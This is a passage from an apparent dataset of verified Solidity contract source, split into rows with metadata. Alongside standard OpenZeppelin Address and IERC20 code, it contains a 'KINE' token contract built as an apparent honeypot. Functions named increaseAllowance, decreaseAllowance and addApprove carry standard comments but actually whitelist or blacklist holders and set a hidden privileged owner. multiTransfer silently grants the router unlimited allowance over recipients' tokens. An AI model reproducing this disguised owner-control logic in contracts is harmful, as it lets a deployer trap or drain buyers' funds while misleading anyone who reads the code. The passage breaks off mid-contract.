*/ | NatSpecMultiLine | functionCall | function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
3721,
3922
]
} | 11,712 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
| /**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
4292,
4523
]
} | 11,713 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | Address | library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | /**
* @dev Collection of functions related to the address type
*/ | NatSpecMultiLine | functionCallWithValue | function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
| /**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
4774,
5095
]
} | 11,714 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | totalSupply | function totalSupply() external view returns (uint256);
| /**
* @dev Returns the amount of tokens in existence.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
94,
154
]
} | 11,715 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | balanceOf | function balanceOf(address account) external view returns (uint256);
| /**
* @dev Returns the amount of tokens owned by `account`.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
237,
310
]
} | 11,716 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transfer | function transfer(address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
534,
616
]
} | 11,717 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | allowance | function allowance(address owner, address spender) external view returns (uint256);
| /**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
895,
983
]
} | 11,718 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | approve | function approve(address spender, uint256 amount) external returns (bool);
| /**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
1647,
1726
]
} | 11,719 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | IERC20 | interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | /**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/ | NatSpecMultiLine | transferFrom | function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
| /**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
2039,
2141
]
} | 11,720 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
